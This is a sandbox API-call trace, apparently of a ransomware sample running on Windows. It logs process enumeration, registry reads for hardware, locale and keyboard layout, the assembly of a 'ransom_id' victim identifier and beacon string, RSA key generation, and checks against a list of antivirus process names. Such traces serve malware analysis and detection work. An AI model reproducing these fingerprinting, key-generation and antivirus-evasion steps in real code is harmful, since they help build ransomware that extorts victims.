	[0082.161] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="have.exe")) returned 1
	[0082.161] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="copydiscussband.exe")) returned 1
	[0082.162] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="economiescodes.exe")) returned 1
	[0082.163] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance-czech-ri-harper.exe")) returned 1
	[0082.164] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="respect-motor.exe")) returned 1
	[0082.164] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0082.165] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0082.165] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.166] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0082.167] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.167] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="busmeat.exe")) returned 1
	[0082.168] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0082.168] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0
	[0082.169] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.169] CloseHandle (hObject=0x134) returned 1
	[0082.169] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x60000
	[0082.169] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd44 | out: phkResult=0x253fd44*=0x134) returned 0x0
	[0082.169] RegQueryValueExW (in: hKey=0x134, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x60000, lpcbData=0x253fd54*=0x80 | out: lpType=0x0, lpData=0x60000*=0x0, lpcbData=0x253fd54*=0x2) returned 0x0
	[0082.170] RegCloseKey (hKey=0x134) returned 0x0
	[0082.170] wsprintfW (in: param_1=0x60000, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9
	[0082.170] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x70000
	[0082.170] VirtualAlloc (lpAddress=0x0, dwSize=0xe0c, flAllocationType=0x3000, flProtect=0x4) returned 0x80000
	[0082.170] GetWindowsDirectoryW (in: lpBuffer=0x80000, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa
	[0082.170] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x80200, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x80600, lpMaximumComponentLength=0x80608, lpFileSystemFlags=0x80604, lpFileSystemNameBuffer=0x80400, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x80600*=0xd2ca4def, lpMaximumComponentLength=0x80608*=0xff, lpFileSystemFlags=0x80604*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0082.170] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd44 | out: phkResult=0x253fd44*=0x134) returned 0x0
	[0082.170] RegQueryValueExW (in: hKey=0x134, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x8060c, lpcbData=0x253fd54*=0x80 | out: lpType=0x0, lpData=0x8060c*=0x49, lpcbData=0x253fd54*=0x54) returned 0x0
	[0082.170] RegCloseKey (hKey=0x134) returned 0x0
	[0082.170] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41
	[0082.171] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd44 | out: phkResult=0x253fd44*=0x134) returned 0x0
	[0082.171] RegQueryValueExW (in: hKey=0x134, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x8065e, lpcbData=0x253fd54*=0x80 | out: lpType=0x0, lpData=0x8065e*=0x49, lpcbData=0x253fd54*=0x4a) returned 0x0
	[0082.171] RegCloseKey (hKey=0x134) returned 0x0
	[0082.171] wsprintfW (in: param_1=0x70000, param_2="%d" | out: param_1="-758493713") returned 10
	[0082.171] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3"
	[0082.171] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77c40000
	[0082.171] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0082.171] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87
	[0082.171] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x70000, Length=0xae) returned 0xdce1bb8b
	[0082.171] VirtualFree (lpAddress=0x80000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.171] lstrlenW (lpString="WORKGROUP") returned 9
	[0082.171] lstrlenW (lpString="pc_group") returned 8
	[0082.171] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x80000
	[0082.171] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group"
	[0082.172] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group="
	[0082.172] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP"
	[0082.172] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&"
	[0082.172] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x90000
	[0082.172] wsprintfW (in: param_1=0x90000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16
	[0082.172] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id"
	[0082.172] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id="
	[0082.172] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def"
	[0082.172] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&"
	[0082.172] VirtualFree (lpAddress=0x90000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.172] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46
	[0082.172] lstrlenW (lpString="ransom_id=") returned 10
	[0082.172] lstrcpyW (in: lpString1=0xcf344c, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def"
	[0082.172] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16
	[0082.172] lstrcpyW (in: lpString1=0xcf37b8, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def"
	[0082.172] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16
	[0082.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x90000
	[0082.172] wsprintfW (in: param_1=0x90000, param_2="%s" | out: param_1="https://www.torproject.org/download/download-easy.html.en") returned 57
	[0082.173] VirtualFree (lpAddress=0x80000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.173] VirtualFree (lpAddress=0x60000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.173] VirtualFree (lpAddress=0x70000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.173] VirtualAlloc (lpAddress=0x0, dwSize=0x123, flAllocationType=0x3000, flProtect=0x4) returned 0x60000
	[0082.173] VirtualAlloc (lpAddress=0x0, dwSize=0x515, flAllocationType=0x3000, flProtect=0x4) returned 0x70000
	[0082.173] CryptAcquireContextW (in: phProv=0x253ff00, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x253ff00*=0xd4b548) returned 1
	[0082.174] CryptGenKey (in: hProv=0xd4b548, Algid=0xa400, dwFlags=0x8000001, phKey=0x253fefc | out: phKey=0x253fefc*=0xd47900) returned 1
	[0082.627] CryptExportKey (in: hKey=0xd47900, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x60000, pdwDataLen=0x253ff34 | out: pbData=0x60000*, pdwDataLen=0x253ff34*=0x114) returned 1
	[0082.627] CryptExportKey (in: hKey=0xd47900, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x70000, pdwDataLen=0x253ff30 | out: pbData=0x70000*, pdwDataLen=0x253ff30*=0x494) returned 1
	[0082.627] CryptDestroyKey (hKey=0xd47900) returned 1
	[0082.627] CryptReleaseContext (hProv=0xd4b548, dwFlags=0x0) returned 1
	[0082.627] CryptAcquireContextW (in: phProv=0x253ff00, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x10 | out: phProv=0x253ff00*=0x0) returned 0
	[0082.637] GetTickCount () returned 0x2717d
	[0082.637] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0082.638] lstrcatW (in: lpString1="", lpString2="ay" | out: lpString1="ay") returned="ay"
	[0082.638] lstrcatW (in: lpString1="ay", lpString2="ss" | out: lpString1="ayss") returned="ayss"
	[0082.638] lstrcatW (in: lpString1="ayss", lpString2="ea" | out: lpString1="ayssea") returned="ayssea"
	[0082.638] lstrcatW (in: lpString1="ayssea", lpString2="f" | out: lpString1="aysseaf") returned="aysseaf"
	[0082.638] lstrlenW (lpString="aysseaf") returned 7
	[0082.638] VirtualAlloc (lpAddress=0x0, dwSize=0x10e, flAllocationType=0x3000, flProtect=0x4) returned 0xb0000
	[0082.638] lstrcatW (in: lpString1="", lpString2="aysseaf" | out: lpString1="aysseaf") returned="aysseaf"
	[0082.638] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.638] lstrcatW (in: lpString1="aysseaf", lpString2="?" | out: lpString1="aysseaf?") returned="aysseaf?"
	[0082.638] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0082.638] lstrcatW (in: lpString1="", lpString2="s" | out: lpString1="s") returned="s"
	[0082.639] lstrcatW (in: lpString1="aysseaf?", lpString2="s" | out: lpString1="aysseaf?s") returned="aysseaf?s"
	[0082.639] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.639] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0082.639] lstrcatW (in: lpString1="", lpString2="oa" | out: lpString1="oa") returned="oa"
	[0082.639] lstrcatW (in: lpString1="oa", lpString2="st" | out: lpString1="oast") returned="oast"
	[0082.639] lstrcatW (in: lpString1="aysseaf?s", lpString2="=" | out: lpString1="aysseaf?s=") returned="aysseaf?s="
	[0082.639] lstrcatW (in: lpString1="aysseaf?s=", lpString2="oast" | out: lpString1="aysseaf?s=oast") returned="aysseaf?s=oast"
	[0082.639] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.639] VirtualAlloc (lpAddress=0x0, dwSize=0x202, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0082.639] GetUserNameW (in: lpBuffer=0xa0000, pcbBuffer=0x253fe04 | out: lpBuffer="SYSTEM", pcbBuffer=0x253fe04) returned 1
	[0082.640] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0xc0000
	[0082.640] GetComputerNameW (in: lpBuffer=0xc0000, nSize=0x253fe04 | out: lpBuffer="LHNIWSJ", nSize=0x253fe04) returned 1
	[0082.645] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0082.645] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd64 | out: phkResult=0x253fd64*=0x21c) returned 0x0
	[0082.645] RegQueryValueExW (in: hKey=0x21c, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0xd0000, lpcbData=0x253fd74*=0x80 | out: lpType=0x0, lpData=0xd0000*=0x0, lpcbData=0x253fd74*=0x2) returned 0x0
	[0082.645] RegCloseKey (hKey=0x21c) returned 0x0
	[0082.646] wsprintfW (in: param_1=0xd0000, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9
	[0082.646] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xe0000
	[0082.646] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fe14 | out: phkResult=0x253fe14*=0x230) returned 0x0
	[0082.646] RegQueryValueExW (in: hKey=0x230, lpValueName="LocaleName", lpReserved=0x0, lpType=0x0, lpData=0xe0000, lpcbData=0x253fe04*=0x40 | out: lpType=0x0, lpData=0xe0000*=0x65, lpcbData=0x253fe04*=0xc) returned 0x0
	[0082.646] RegCloseKey (hKey=0x230) returned 0x0
	[0082.646] VirtualAlloc (lpAddress=0x0, dwSize=0x8a, flAllocationType=0x3000, flProtect=0x4) returned 0xf0000
	[0082.646] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x100000
	[0082.646] wsprintfW (in: param_1=0xf0000, param_2="%d" | out: param_1="1") returned 1
	[0082.647] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fe10 | out: phkResult=0x253fe10*=0x230) returned 0x0
	[0082.647] RegQueryValueExW (in: hKey=0x230, lpValueName="1", lpReserved=0x0, lpType=0x0, lpData=0xf000e, lpcbData=0x253fe00*=0x80 | out: lpType=0x0, lpData=0xf000e*=0x30, lpcbData=0x253fe00*=0x12) returned 0x0
	[0082.647] RegCloseKey (hKey=0x230) returned 0x0
	[0082.647] lstrcmpiW (lpString1="00000409", lpString2="00000419") returned -1
	[0082.647] wsprintfW (in: param_1=0xf0000, param_2="%d" | out: param_1="2") returned 1
	[0082.647] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fe10 | out: phkResult=0x253fe10*=0x230) returned 0x0
	[0082.647] RegQueryValueExW (in: hKey=0x230, lpValueName="2", lpReserved=0x0, lpType=0x0, lpData=0xf000e, lpcbData=0x253fe00*=0x80 | out: lpType=0x0, lpData=0xf000e*=0x30, lpcbData=0x253fe00*=0x80) returned 0x2
	[0082.647] GetLastError () returned 0xcb
	[0082.647] RegCloseKey (hKey=0x230) returned 0x0
	[0082.647] wsprintfW (in: param_1=0x100000, param_2="0" | out: param_1="0") returned 1
	[0082.647] VirtualFree (lpAddress=0xf0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.648] VirtualAlloc (lpAddress=0x0, dwSize=0x82, flAllocationType=0x3000, flProtect=0x4) returned 0xf0000
	[0082.648] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd64 | out: phkResult=0x253fd64*=0x230) returned 0x0
	[0082.648] RegQueryValueExW (in: hKey=0x230, lpValueName="productName", lpReserved=0x0, lpType=0x0, lpData=0xf0000, lpcbData=0x253fd74*=0x80 | out: lpType=0x0, lpData=0xf0000*=0x57, lpcbData=0x253fd74*=0x1e) returned 0x0
	[0082.648] RegCloseKey (hKey=0x230) returned 0x0
	[0082.648] GetNativeSystemInfo (in: lpSystemInfo=0x253fdd0 | out: lpSystemInfo=0x253fdd0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0082.648] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x110000
	[0082.649] wsprintfW (in: param_1=0x110000, param_2="x64" | out: param_1="x64") returned 3
	[0082.649] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x120000
	[0082.649] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x130000
	[0082.650] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x230
	[0082.653] Process32FirstW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0082.654] lstrcmpiW (lpString1="AVP.EXE", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="ekrn.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="avgnt.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="ashDisp.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="Mcshield.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="avengine.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="cmdagent.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="smc.exe", lpString2="[System Process]") returned 1
	[0082.658] lstrcmpiW (lpString1="persfw.exe", lpString2="[System Process]") returned 1
	[0082.659] lstrcmpiW (lpString1="pccpfw.exe", lpString2="[System Process]") returned 1
	[0082.659] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="[System Process]") returned 1
	[0082.659] lstrcmpiW (lpString1="cfp.exe", lpString2="[System Process]") returned 1
	[0082.659] lstrcmpiW (lpString1="msmpeng.exe", lpString2="[System Process]") returned 1
	[0082.659] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0082.659] GetLastError () returned 0xcb
	[0082.660] lstrcmpiW (lpString1="AVP.EXE", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="ekrn.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="avgnt.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="ashDisp.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="Mcshield.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="avengine.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="cmdagent.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="smc.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="persfw.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="pccpfw.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="cfp.exe", lpString2="System") returned -1
	[0082.660] lstrcmpiW (lpString1="msmpeng.exe", lpString2="System") returned -1
	[0082.660] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0082.661] GetLastError () returned 0xcb
	[0082.661] lstrcmpiW (lpString1="AVP.EXE", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="ekrn.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="avgnt.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="ashDisp.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="Mcshield.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="avengine.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="cmdagent.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="smc.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="persfw.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="pccpfw.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="cfp.exe", lpString2="smss.exe") returned -1
	[0082.661] lstrcmpiW (lpString1="msmpeng.exe", lpString2="smss.exe") returned -1
	[0082.661] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.662] GetLastError () returned 0xcb
	[0082.662] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1
	[0082.662] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1
	[0082.662] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1
	[0082.662] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0082.662] GetLastError () returned 0xcb
	[0082.663] lstrcmpiW (lpString1="AVP.EXE", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="ekrn.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="avgnt.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="ashDisp.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="Mcshield.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="avengine.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="cmdagent.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="smc.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="persfw.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="pccpfw.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="cfp.exe", lpString2="wininit.exe") returned -1
	[0082.663] lstrcmpiW (lpString1="msmpeng.exe", lpString2="wininit.exe") returned -1
